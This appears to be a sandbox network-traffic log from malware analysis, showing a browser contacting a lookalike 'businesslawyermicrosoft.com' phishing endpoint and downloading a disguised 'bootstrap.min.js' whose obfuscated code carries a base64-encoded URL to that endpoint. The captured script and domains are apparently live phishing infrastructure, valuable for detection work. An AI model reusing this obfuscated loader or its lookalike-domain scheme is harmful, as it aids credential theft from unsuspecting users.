2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 65 72 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 6f 6c 74 69 70 2c 5c 78 32 30 2e 66 6f 27 2c 27 6d 64 2d 30 2c 5c 78 32 30 2e 70 78 2d 27 2c 27 2c 5c 78 32 30 68 33 5c 78 32 30 7b 5c 78 32 30 70 61 67 27 2c 27 75 70 3e 2e 63 61 72 64 3a 6f 27 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 Data Ascii: er\x20{\x20margi','oltip,\x20.fo','md-0,\x20.px-',',\x20h3\x20{\x20pag','up>.card:o','11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x
2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 27 65 6c 66 3a 5c 78 32 30 61 75 74 6f 5c 78 32 30 27 2c 27 5c 78 32 30 38 30 25 3b 5c 78 32 30 66 6f 6e 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 Data Ascii: 'elf:\x20auto\x20','\x2080%;\x20font','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x2
2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 6a 61 78 27 2c 27 65 72 73 65 5c 78 32 30 21 69 6d 70 6f 27 2c 27 5c 78 32 30 7b 5c 78 32 30 68 65 69 67 68 74 3a 27 2c 27 2d 66 6c 65 78 3a 5c 78 32 30 30 5c 78 32 30 31 27 2c 27 35 38 36 61 35 64 2e 73 76 67 27 2c 27 2d 6c 69 6e 65 2d 70 61 63 6b 27 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 Data Ascii: jax','erse\x20!impo','\x20{\x20height:','-flex:\x200\x201','586a5d.svg','-line-pack','roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063p
2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 6e 3b 5c 78 32 30 27 2c 27 63 35 34 36 30 3b 5c 78 32 30 62 61 63 27 2c 27 6c 6c 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 2d 27 2c 27 6f 64 79 5c 78 32 30 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 Data Ascii: n;\x20','c5460;\x20bac','ll\x20{\x20font-','ody\x20tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','
2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 32 30 6d 61 72 27 2c 27 5c 78 32 30 74 72 61 6e 73 70 61 72 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c Data Ascii: 20mar','\x20transpare','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\
2025-01-14 19:04:47 UTC	16368	IN	Data Raw: 64 69 27 2c 27 5c 78 32 30 7b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 Data Ascii: di','\x20{\x20top:\x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margi
2025-01-14 19:04:47 UTC	8184	IN	Data Raw: 2c 27 5c 78 32 30 2e 70 79 2d 73 6d 2d 32 5c 78 32 30 27 2c 27 3b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 2e 32 35 27 2c 27 65 2d 6f 75 74 3b 5c 78 32 30 2d 77 65 27 2c 27 61 5c 78 32 30 28 6d 69 6e 2d 77 69 64 27 2c 27 3a 5c 78 32 30 30 3b 5c 78 32 30 7d 5c 78 32 30 31 30 30 27 2c 27 38 61 37 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 27 2c 27 42 6a 63 4c 64 27 2c 27 31 30 38 2c 5c 78 32 30 31 31 37 2c 5c 78 32 30 27 2c 27 5c 78 32 30 30 5c 78 32 30 39 31 2e 36 36 36 36 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 30 2e 33 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 32 38 61 37 27 2c 27 74 2d 73 75 63 63 65 73 73 3a 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 72 64 65 72 27 2c 27 6c 6c 61 70 73 65 2e 73 68 6f 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 Data Ascii: ,'\x20.py-sm-2\x20',';\x20top:\x20.25','e-out;\x20-we','a\x20(min-wid',':\x200;\x20}\x20100','8a745\x20}\x20.b','BjcLd','108,\x20117,\x20','\x200\x2091.6666','ottom:\x20.3e','lor:\x20#28a7','t-success:','\x20}\x20.border','llapse.sho','\x200;\x20margin','

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50086	69.49.230.198	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:48 UTC	674	OUT	POST /next.php HTTP/1.1 Host: 5735915102.businesslawyermicrosoft.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://nbgybnlh.appfilemanagement.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:48 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-01-14 19:04:49 UTC	299	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:48 GMT Server: Apache Access-Control-Allow-Origin: https://nbgybnlh.appfilemanagement.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 19:04:49 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50087	43.152.64.193	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:49 UTC	391	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 5735915102-1323985617.cos.ap-singapore.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:50 UTC	505	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553328 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 14 Jan 2025 19:04:49 GMT ETag: "628f59eff49c5f426b3d98eaddec9336" Last-Modified: Tue, 07 Jan 2025 05:26:24 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 9945473926988772176 x-cos-request-id: Njc4NmI1NTFfMjZiMjRkMGJfMTdkMTdfMmIzYTQyZA== x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-01-14 19:04:50 UTC	7699	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4e 7a 4d 31 4f 54 45 31 4d 54 41 79 4c 6d 4a 31 63 32 6c 75 5a 58 4e 7a 62 47 46 33 65 57 56 79 62 57 6c 6a 63 6d 39 7a 62 32 5a 30 4c 6d 4e 76 62 53 39 75 5a 58 68 30 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 Data Ascii: var file = "aHR0cHM6Ly81NzM1OTE1MTAyLmJ1c2luZXNzbGF3eWVybWljcm9zb2Z0LmNvbS9uZXh0LnBocA==";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x
2025-01-14 19:04:50 UTC	16368	IN	Data Raw: 78 32 30 31 38 39 2c 5c 78 32 30 32 35 27 2c 27 6f 6e 3a 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 Data Ascii: x20189,\x2025','on:\x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x
2025-01-14 19:04:50 UTC	8184	IN	Data Raw: 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 37 35 72 65 6d 5c 78 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d Data Ascii: {\x20-webk','75rem\x201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlim
2025-01-14 19:04:50 UTC	8184	IN	Data Raw: 65 72 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 6f 6c 74 69 70 2c 5c 78 32 30 2e 66 6f 27 2c 27 6d 64 2d 30 2c 5c 78 32 30 2e 70 78 2d 27 2c 27 2c 5c 78 32 30 68 33 5c 78 32 30 7b 5c 78 32 30 70 61 67 27 2c 27 75 70 3e 2e 63 61 72 64 3a 6f 27 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 Data Ascii: er\x20{\x20margi','oltip,\x20.fo','md-0,\x20.px-',',\x20h3\x20{\x20pag','up>.card:o','11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x
2025-01-14 19:04:50 UTC	8184	IN	Data Raw: 27 65 6c 66 3a 5c 78 32 30 61 75 74 6f 5c 78 32 30 27 2c 27 5c 78 32 30 38 30 25 3b 5c 78 32 30 66 6f 6e 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 Data Ascii: 'elf:\x20auto\x20','\x2080%;\x20font','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x2
2025-01-14 19:04:50 UTC	8184	IN	Data Raw: 6a 61 78 27 2c 27 65 72 73 65 5c 78 32 30 21 69 6d 70 6f 27 2c 27 5c 78 32 30 7b 5c 78 32 30 68 65 69 67 68 74 3a 27 2c 27 2d 66 6c 65 78 3a 5c 78 32 30 30 5c 78 32 30 31 27 2c 27 35 38 36 61 35 64 2e 73 76 67 27 2c 27 2d 6c 69 6e 65 2d 70 61 63 6b 27 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 Data Ascii: jax','erse\x20!impo','\x20{\x20height:','-flex:\x200\x201','586a5d.svg','-line-pack','roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063p
2025-01-14 19:04:50 UTC	8184	IN	Data Raw: 6e 3b 5c 78 32 30 27 2c 27 63 35 34 36 30 3b 5c 78 32 30 62 61 63 27 2c 27 6c 6c 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 2d 27 2c 27 6f 64 79 5c 78 32 30 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 Data Ascii: n;\x20','c5460;\x20bac','ll\x20{\x20font-','ody\x20tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','
2025-01-14 19:04:50 UTC	8184	IN	Data Raw: 32 30 6d 61 72 27 2c 27 5c 78 32 30 74 72 61 6e 73 70 61 72 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c Data Ascii: 20mar','\x20transpare','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\
2025-01-14 19:04:50 UTC	16384	IN	Data Raw: 64 69 27 2c 27 5c 78 32 30 7b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 Data Ascii: di','\x20{\x20top:\x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margi
2025-01-14 19:04:50 UTC	8168	IN	Data Raw: 32 30 27 2c 27 3b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 2e 32 35 27 2c 27 65 2d 6f 75 74 3b 5c 78 32 30 2d 77 65 27 2c 27 61 5c 78 32 30 28 6d 69 6e 2d 77 69 64 27 2c 27 3a 5c 78 32 30 30 3b 5c 78 32 30 7d 5c 78 32 30 31 30 30 27 2c 27 38 61 37 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 27 2c 27 42 6a 63 4c 64 27 2c 27 31 30 38 2c 5c 78 32 30 31 31 37 2c 5c 78 32 30 27 2c 27 5c 78 32 30 30 5c 78 32 30 39 31 2e 36 36 36 36 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 30 2e 33 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 32 38 61 37 27 2c 27 74 2d 73 75 63 63 65 73 73 3a 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 72 64 65 72 27 2c 27 6c 6c 61 70 73 65 2e 73 68 6f 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 42 79 4d 62 6d 50 62 6e 48 4e 27 2c 27 2c 5c 78 Data Ascii: 20',';\x20top:\x20.25','e-out;\x20-we','a\x20(min-wid',':\x200;\x20}\x20100','8a745\x20}\x20.b','BjcLd','108,\x20117,\x20','\x200\x2091.6666','ottom:\x20.3e','lor:\x20#28a7','t-success:','\x20}\x20.border','llapse.sho','\x200;\x20margin','ByMbmPbnHN',',\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
